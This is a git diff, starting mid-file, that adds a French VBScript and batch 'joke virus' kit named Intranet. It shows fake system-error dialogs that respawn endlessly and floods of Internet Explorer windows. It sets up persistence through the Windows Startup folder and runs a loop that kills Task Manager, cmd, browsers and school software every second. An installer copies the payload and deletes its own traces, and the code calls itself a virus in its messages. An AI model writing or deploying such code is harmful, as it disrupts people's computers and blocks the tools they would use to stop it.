2000 +MsgBox "En voilà une autre alors !", vbInformation, "Tu en veux plus ?" + +Case vbNo +MsgBox "Ok" + +End Select \ No newline at end of file diff --git a/Intranet/internetexplorer.vbs b/Intranet/internetexplorer.vbs new file mode 100755 index 0000000..d291cf1 --- /dev/null +++ b/Intranet/internetexplorer.vbs @@ -0,0 +1,48 @@ +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\Startup Creator\startupie.vbs""" +result = MsgBox ("Est-tu sûr de vouloir utiliser Internet Explorer ?", vbYesNo + vbCritical, "InternetExplorer.exe à cessé de fonctionner") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +WScript.Sleep 10000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorerplus.vbs" + +Case vbNo +MsgBox "Ouf, j'ai eu peur, mais bon, je te laisse avec le mini-virus :)", vbInformation +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs" + +End Select \ No newline at end of file diff --git a/Intranet/internetexplorerplus.vbs b/Intranet/internetexplorerplus.vbs new file mode 100755 index 0000000..31019fb --- /dev/null +++ b/Intranet/internetexplorerplus.vbs @@ -0,0 +1,13 @@ +result = MsgBox ("Tu as assez de pages chargés ?", vbYesNo + vbInformation, "Information") + +Select Case result +Case vbYes +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe""" +WScript.Sleep 2000 +MsgBox "En voilà une autre alors !", vbInformation, "Tu en veux plus ?" + +Case vbNo +MsgBox "Ok" + +End Select \ No newline at end of file diff --git a/Intranet/startupie.bat b/Intranet/startupie.bat new file mode 100755 index 0000000..8618c31 --- /dev/null +++ b/Intranet/startupie.bat @@ -0,0 +1 @@ +xcopy /s /z /y "%userprofile%\Downloads\Internet Explorer.lnk" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\" \ No newline at end of file diff --git a/Intranet/startupie.vbs b/Intranet/startupie.vbs new file mode 100755 index 0000000..87a9946 --- /dev/null +++ b/Intranet/startupie.vbs @@ -0,0 +1 @@ +CreateObject("Wscript.Shell").Run "startupie.bat",0,True diff --git a/Intranet/taskiller.bat b/Intranet/taskiller.bat new file mode 100755 index 0000000..812bd65 --- /dev/null +++ b/Intranet/taskiller.bat @@ -0,0 +1,15 @@ +taskkill /f /im taskmgr.exe +taskkill /f /im chrome.exe +taskkill /f /im firefox.exe +taskkill /f /im SystemSettings.exe +taskkill /f /im FileManager.exe +taskkill /f /im GROOVE.EXE +taskkill /f /im iexplore.exe +taskkill /f /im notepad.exe +taskkill /f /im educadhoc.exe +taskkill /f /im Espace Numerique Education.exe +taskkill /f /im Oscillo.exe +taskkill /f /im Phylo.exe +taskkill /f /im RasTop.exe +taskkill /f /im Solve Elec.exe +taskkill /f /im cmd.exe \ No newline at end of file diff --git a/Intranet/taskiller.vbs b/Intranet/taskiller.vbs new file mode 100755 index 0000000..1178c58 --- /dev/null +++ b/Intranet/taskiller.vbs @@ -0,0 +1,4 @@ +Do +CreateObject("Wscript.Shell").Run "%userprofile%\Downloads\Intranet\taskiller.bat",0,True +WScript.Sleep 1000 +Loop \ No newline at end of file diff --git a/Intranet/testdialogue.vbs b/Intranet/testdialogue.vbs new file mode 100755 index 0000000..7198e71 --- /dev/null +++ b/Intranet/testdialogue.vbs @@ -0,0 +1,8 @@ +result = MsgBox ("lol, ceci est un test", vbInformation, "Test.exe") + +Select Case result +Case vbOk + + + +End Select \ No newline at end of file diff --git a/Intranet/virus.vbs b/Intranet/virus.vbs new file mode 100755 index 0000000..fa0e48a --- /dev/null +++ b/Intranet/virus.vbs @@ -0,0 +1,13 @@ +result = MsgBox ("An Error Occured at C:/", vbCritical, "system32.dll stopped working") + +Select Case result +Case vbOk +Do +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "error.vbs" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "error.vbs" +WScript.Sleep 10000 +Loop + +End Select \ No newline at end of file diff --git a/Mozilla Firefox.lnk b/Mozilla Firefox.lnk new file mode 100755 index 0000000..2e0e631 Binary files /dev/null and b/Mozilla Firefox.lnk differ diff --git a/Word 2016.lnk b/Word 2016.lnk new file mode 100755 index 0000000..484795c Binary files /dev/null and b/Word 2016.lnk differ diff --git a/installer.bat b/installer.bat new file mode 100755 index 0000000..8a85d48 --- /dev/null +++ b/installer.bat @@ -0,0 +1,14 @@ +xcopy /s /z /y "Intranet_Virus" "%userprofile%\Downloads\" +timeout /t 5 +del /s %userprofile%\Downloads\installer.bat +del /s %userprofile%\Downloads\installer.vbs +del /s %userprofile%\Downloads\installer_msg.vbs +del /s %userprofile%\Downloads\uninstall.vbs +del /s %userprofile%\Downloads\uninstall.bat +del /s %userprofile%\Downloads\uninstaller_one.vbs +del /s %userprofile%\Downloads\uninstaller_msg.vbs +del /s %userprofile%\Downloads\task_deleter.bat +del /s %userprofile%\Downloads\uninstall2.vbs +del /s %userprofile%\Downloads\installer_one.vbs +del /s %userprofile%\Downloads\installer_task.bat +del /s %userprofile%\Downloads\installer2.vbs \ No newline at end of file diff --git a/installer.vbs b/installer.vbs new file mode 100755 index 0000000..e9ffbca --- /dev/null +++ b/installer.vbs @@ -0,0 +1,8 @@ +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """Intranet_Virus\installer_one.vbs""" +CreateObject("Wscript.Shell").Run """Intranet_Virus\installer.bat""",0,True +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\""" +WScript.Sleep 1000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """Intranet_Virus\installer_task.bat""" \ No newline at end of file diff --git a/installer2.vbs b/installer2.vbs new file mode 100755 index 0000000..9528399 --- /dev/null +++ b/installer2.vbs @@ -0,0 +1,7 @@ +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """Intranet_Virus\installer_msg.vbs""" +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\Startup Creator\startuptaskill.vbs""" +WScript.Sleep 30000 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run """%userprofile%\Downloads\Intranet\taskiller.vbs""" diff --git a/installer_msg.vbs b/installer_msg.vbs new file mode 100755 index 0000000..afe3cea --- /dev/null +++ b/installer_msg.vbs @@ -0,0 +1,8 @@ +result = MsgBox ("Vous venez d'installer le virus Intranet 1.0, merci de tester ce programme et de m'envoyer vos retours sur alzyoic1200@gmail.com, pour le désinstaller, lancez le programme Uninstall Intranet", vbInformation, "Intranet Installer") + +Select Case result +Case vbOk +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "http://cubeadventures.16mb.com/fr/Intranet.html" + +End Select \ No newline at end of file diff --git a/installer_one.vbs b/installer_one.vbs new file mode 100755 index 0000000..2746a44 --- /dev/null +++ b/installer_one.vbs @@ -0,0 +1,8 @@ +result = MsgBox ("Installation... Veuillez Patientez", vbInformation, "Intranet Installer") + +Select Case result +Case vbOk +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "Intranet_Virus\installer_one.vbs" + +End Select \ No newline at end of file diff --git a/installer_task.bat b/installer_task.bat new file mode 100755 index 0000000..a4f5450 --- /dev/null +++ b/installer_task.bat @@ -0,0 +1,2 @@ +taskkill /f /im wscript.exe +start Intranet_Virus\installer2.vbs \ No newline at end of file diff --git a/task_deleter.bat b/task_deleter.bat new file mode 100755 index 0000000..da9a13d --- /dev/null +++ b/task_deleter.bat @@ -0,0 +1,2 @@ +taskkill /f /im wscript.exe +start Intranet_Virus\uninstall2.vbs \ No newline at end of file diff --git a/uninstall.bat b/uninstall.bat new file mode 100755 index 0000000..53748d6 --- /dev/null +++ b/uninstall.bat @@ -0,0 +1,7 @@ +del /s /q "%userprofile%\Downloads\Google Chrome.lnk" +del /s /q "%userprofile%\Downloads\Mozilla Firefox.lnk" +del /s /q "%userprofile%\Downloads\Internet Explorer.lnk" +del /s /q "%userprofile%\Downloads\Word 2016.lnk" +del /s /q "%userprofile%\Downloads\Explorateur de fichiers.lnk" +del /s /q "%userprofile%\Downloads\Intranet" +del /s /q "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\taskiller.vbs" \ No newline at end of file diff --git a/uninstall.vbs b/uninstall.vbs new file mode 100755 index 0000000..bef8b11 --- /dev/null +++ b/uninstall.vbs @@ -0,0 +1,7 @@ +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "Intranet_Virus\uninstaller_one.vbs" +CreateObject("Wscript.Shell").Run "Intranet_Virus\uninstall.bat",0,True +WScript.Sleep 4500 +Set WshShell = WScript.CreateObject("WScript.Shell") +CreateObject("Wscript.Shell").Run "Intranet_Virus\task_deleter.bat",0,True + diff --git a/uninstall2.vbs b/uninstall2.vbs new file mode 100755 index 0000000..6d18250 --- /dev/null +++ b/uninstall2.vbs @@ -0,0 +1,3 @@ +WScript.Sleep 500 +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "Intranet_Virus\uninstaller_msg.vbs" \ No newline at end of file diff --git a/uninstaller_msg.vbs b/uninstaller_msg.vbs new file mode 100755 index 0000000..00272d8 --- /dev/null +++ b/uninstaller_msg.vbs @@ -0,0 +1 @@ +result = MsgBox ("Merci d'avoir utilisé mon virus :), n'hésitez pas à visiter mon site web : http://cubeadventures.16mb.com/fr/", vbInformation, "Intranet Uninstaller") \ No newline at end of file diff --git a/uninstaller_one.vbs b/uninstaller_one.vbs new file mode 100755 index 0000000..25b7362 --- /dev/null +++ b/uninstaller_one.vbs @@ -0,0 +1,8 @@ +result = MsgBox ("Désinstallation, Veuillez Patientez...", vbInformation, "Intranet Uninstaller") + +Select Case result +Case vbOk +Set WshShell = WScript.CreateObject("WScript.Shell") +WshShell.Run "Intranet_Virus\uninstaller_one.vbs" + +End Select \ No newline at end of file